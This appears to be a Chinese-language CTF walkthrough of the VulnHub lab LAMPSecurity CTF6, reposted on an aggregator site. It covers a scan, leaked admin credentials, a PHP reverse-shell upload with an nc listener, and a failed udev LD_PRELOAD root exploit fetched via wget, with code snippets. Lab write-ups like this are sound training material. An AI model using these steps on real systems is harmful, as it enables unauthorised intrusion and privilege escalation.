当前位置: 首页 > news >正文

LAMPSecurity: CTF6靶场渗透

LAMPSecurity: CTF6

来自 <https://www.vulnhub.com/entry/lampsecurity-ctf6,85/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.140

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.140

端口

服务

版本信息

关键风险

22

SSH

OpenSSH 4.3

2006 年版本,存在多个漏洞,易受暴力破解和远程攻击

80

HTTP

Apache httpd 2.2.3 (CentOS)

老旧版本,有远程代码执行风险;PHPSESSID 未设 httponly 标志

111

rpcbind

RPC #100000

可能泄露系统服务信息,辅助攻击者枚举目标

443

HTTPS

Apache httpd 2.2.3 (CentOS)

同 80 端口风险,SSL 证书已过期(2010 年到期)

636

status

RPC #100024

RPC 状态服务,泄露系统信息

3306

MySQL

5.0.45

2007 年版本,存在权限绕过和远程代码执行漏洞

4,访问80端口开设的http服务

什么都没有,再扫描其子目录看看

gobuster dir -u http://192.168.23.140/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

http://192.168.23.140/sql/db.sql

得到了疑似账户密码的信息admin/adminpass

5,成功登录

http://192.168.23.140/index.php?action=add_event

找到文件上传位置,依旧上传kali自带木马,注意修改IP和端口

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

mousepad shell.php

上传之后点击home触发反弹shell,与此同时kali打开对4444端口的监听

nc -lvvp 4444

成功getshell

6,信息收集一下

查看目前用户能否sudo提权,发现sudo被禁用

注意到linux的内核版本,查询一下是否有提权exp

searchsploit linux kernel 2.6 |grep "Local Privilege Escalation"

searchsploit -m 8478.sh

一、漏洞背景

  • udev 是 Linux 系统中用户空间的设备管理守护进程,负责处理内核通过 netlink 发来的热插拔事件。
  • 漏洞点:udev 在解析事件时,会直接继承和处理用户伪造的消息,其中的 环境变量未做安全限制
  • 攻击者通过伪造事件消息注入 LD_PRELOAD,可以让 udev 在 root 权限下加载攻击者的动态库。

二、EXP 的组成部分

  1. udev.c
    • 构造一个伪造的 netlink 消息,模拟设备 add 事件,发送给目标 udevd 的 pid。
    • 关键在这里:
      mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
      这会强制 udev 在处理事件时加载攻击者指定的 .so 文件。
  2. program.c
    • 动态库的 _init() 函数会在加载时自动执行。
    • 它做的事:
      setgid(0); setuid(0);
      unsetenv("LD_PRELOAD");
      execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
      把 /tmp/suid 变成一个 root:root 拥有的 setuid 程序
  3. suid.c
    • 一个很小的 C 程序:
      setgid(0); setuid(0);
      execl("/bin/sh","sh",0);
      编译后 /tmp/suid 就是一个能直接获取 root shell 的程序。

三、执行流程

  1. 攻击者先运行脚本:
    ./8478.sh <pid>
    其中 <pid> 是目标系统上 udevd 的 PID - 1(因为漏洞利用时这个值被用来构造 netlink 地址)。
  2. 脚本会自动:
    • 编译 udev.c 生成 /tmp/udev,负责编造消息。
    • 编译 program.c,生成恶意动态库 libno_ex.so.1.0,复制到 /tmp/。
    • 编译 suid.c,生成 /tmp/suid。
  3. 执行 /tmp/udev <pid>:
    • 向 udev 发送伪造的 netlink 消息。
    • udev 处理时被注入 LD_PRELOAD=/tmp/libno_ex.so.1.0。
    • 以 root 权限加载恶意库 → _init() 执行 → /tmp/suid 被提权为 root SUID 程序。
  4. 等 10 秒后,脚本执行:
    /tmp/suid
    直接获得一个 root shell。

四、使用要点

  1. 要知道 udevd 的 pid(通常 ps aux | grep udevd,然后减 1)。
  2. 要确保 /tmp/ 可写(大多数 Linux 都是可写的 tmpfs)。
  3. 成功运行后,/tmp/suid 会变成 root 权限 + SUID,可随时提权。

五、根本原理总结

  • 攻击面:udev 的 netlink 消息处理
  • 技术点:通过伪造热插拔事件,注入环境变量 LD_PRELOAD。
  • 本质:利用 root 进程加载动态库 → 执行恶意 _init() → 创建一个 SUID 提权程序。

7,kali开启http服务

python -m http.server

靶机下载提权脚本

cd /tmp

wget http://192.168.23.128:8000/8478.sh

赋予执行权限

chmod +x 8478.sh

查询udevd的pid

ps aux | grep udevd

./8478.sh 569

脚本利用失败


文章转载自:

http://KBP7TJxm.gcmmt.cn
http://O6azcghW.gcmmt.cn
http://gSBdk8Jf.gcmmt.cn
http://pr7TH0XP.gcmmt.cn
http://4KlaGhNy.gcmmt.cn
http://4F7BW0Nz.gcmmt.cn
http://55XLwJ54.gcmmt.cn
http://M26ihTyf.gcmmt.cn
http://3JSPiWwG.gcmmt.cn
http://k7nuFy5l.gcmmt.cn
http://45QASV90.gcmmt.cn
http://5AgDKK2e.gcmmt.cn
http://Ji1ZCRIm.gcmmt.cn
http://WvxNv52c.gcmmt.cn
http://mSLlbVyU.gcmmt.cn
http://uOJhRkuI.gcmmt.cn
http://lerIGHap.gcmmt.cn
http://QDdmk1K3.gcmmt.cn
http://Qe6SbHKn.gcmmt.cn
http://eqEzqQTx.gcmmt.cn
http://uHIj7bwI.gcmmt.cn
http://poTRHzK9.gcmmt.cn
http://TP6B4DIC.gcmmt.cn
http://gDEji5N4.gcmmt.cn
http://a0uBhr7m.gcmmt.cn
http://lEpIV0YY.gcmmt.cn
http://9eamfgUy.gcmmt.cn
http://lcNa5yGk.gcmmt.cn
http://sEMY45aF.gcmmt.cn
http://9cKMFHXL.gcmmt.cn
http://www.dtcms.com/a/373109.html

相关文章:

  • 服务器安装 LDOPE(MODIS 数据处理工具)
  • 动态线程池中修改核心线程数比当前线程数要少,会不会影响正在执行的线程任务
  • Axum文档 ~ 2.路由
  • 【C++】IO库
  • 常见的显示器接口技术
  • 如何在本地机器上使用LLM构建知识图谱(一)
  • 论文阅读:ACL 2023 MPCHAT: Towards Multimodal Persona-Grounded Conversation
  • Java全栈开发工程师的实战面试:从基础到微服务
  • 向量回归策略
  • 【数据库】时序数据库科学选型,以IoTDB构筑大数据时代的时序数据底座
  • MAUI劝退:安卓实体机测试
  • Day8 C++
  • 在线教程 | VibeVoice-1.5B独创双Tokenizer架构实现一次性生成90分钟4人对话语音,重新定义TTS技术边界
  • 《练手:ipv4地址计算和Telnet 远程设备管理配置实验文档》
  • [论文阅读] 人工智能 + 软件工程 | TDD痛点破解:LLM自动生成测试骨架靠谱吗?静态分析+专家评审给出答案
  • 【计算机网络 | 第10篇】信道复用技术
  • Pytest+requests进行接口自动化测试1.0(基础知识 + 测试用例 + request库)
  • 使用 OpenLayers + 高德瓦片源实现旅游足迹地图
  • 2025年体制内职业发展相关资格认证参考指南
  • window显示驱动开发—监视筛选器驱动程序(三)
  • 计算机网络:数据链路层--数据链路层基本功能
  • 第二课、熟悉Cocos Creator 编辑器界面
  • [Wit]CnOCR模型训练全流程简化记录(包括排除BUG)
  • JavaEE 进阶第四期:开启前端入门之旅(四)
  • TFS-2004《Input Selection for Nonlinear Regression Models》
  • esp下载器使用流程
  • 3dtiles 加载问题
  • 3D地球可视化教程 - 第1篇:基础地球渲染系统
  • 单片机开发
  • LLMs之REFRAG:《REFRAG: Rethinking RAG based Decoding》的翻译与解读